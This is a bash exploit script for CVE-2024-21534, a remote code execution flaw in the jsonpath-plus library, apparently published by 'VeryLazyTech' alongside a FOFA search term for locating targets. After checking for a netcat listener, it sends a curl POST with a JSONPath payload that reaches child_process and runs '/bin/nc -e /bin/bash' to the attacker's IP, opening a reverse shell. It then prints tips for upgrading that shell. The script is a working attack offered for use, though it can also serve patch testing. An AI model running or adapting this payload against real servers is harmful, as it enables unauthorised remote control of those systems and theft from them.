# CVE-2024-21534 Jsonpath-plus vulnerable to Remote Code Execution (RCE) due to improper input sanitization # FOFA "Jsonpath-plus" # Medium https://medium.com/@verylazytech # Github https://github.com/verylazytech # BuyMeACoffee https://buymeacoffee.com/verylazytech # https://www.verylazytech.com #!/usr/bin/env bash # Banner function banner() { cat <<'EOF' ______ _______ ____ ___ ____ _ _ ____ _ ____ _____ _ _ / ___\ \ / / ____| |___ \ / _ \___ \| || | |___ \/ | ___|___ /| || | | | \ \ / /| _| __) | | | |__) | || |_ __) | |___ \ |_ \| || |_ | |___ \ V / | |___ / __/| |_| / __/|__ _| / __/| |___) |__) |__ _| \____| \_/ |_____| |_____|\___/_____| |_| |_____|_|____/____/ |_| __ __ _ _____ _ \ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__ \ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \ \ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | | \_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_| |___/ |___/ @VeryLazyTech - Medium EOF } # Call the banner function banner set -e # Check for correct number of arguments if [ "$#" -ne 3 ]; then printf "Usage: $0 " exit 1 fi VICTIM_URL="$1" ATTACKER_IP="$2" ATTACKER_PORT="$3" echo "[*] Checking if listener on $ATTACKER_IP:$ATTACKER_PORT..." echo "-----------------------------------------------------------" if netstat -tuln | grep -q ":$ATTACKER_PORT"; then echo "[*] Great listener already running on $ATTACKER_IP:$ATTACKER_PORT" else echo "[*] Oh no! Listener not found on $ATTACKER_IP:$ATTACKER_PORT. Exiting." echo "[*] Please make sure to run nc -lnvp 443 first!" exit 1 fi sleep 2 # Craft the exploit payload using curl echo "[*] Sending exploit payload to the target..." echo "[*] Check your listener..." echo "-----------------------------------------------------------" echo "[*] Genral tips:" echo "[1] For full shell copy and paste '/usr/bin/script -qc /bin/bash /dev/null' into your shell" echo "[2] Please norice that every command that you run outside the shell, will run on the server but without output!" echo "[3] For Exit just type exit in your shell" echo "[4] You can now close me" curl -X POST $VICTIM_URL \ -H "Content-Type: application/json" \ -d "{\"json\": {\"dummy\": true}, \"path\": \"\$[?(var _\$_root=constructor.constructor.call([],\\\"this.process.mainModule.require(\\\\\\\"child_process\\\\\\\").execSync(\\\\\\\"/bin/nc -e /bin/bash $ATTACKER_IP $ATTACKER_PORT\\\\\\\").toString();\\\");@root())]\"}"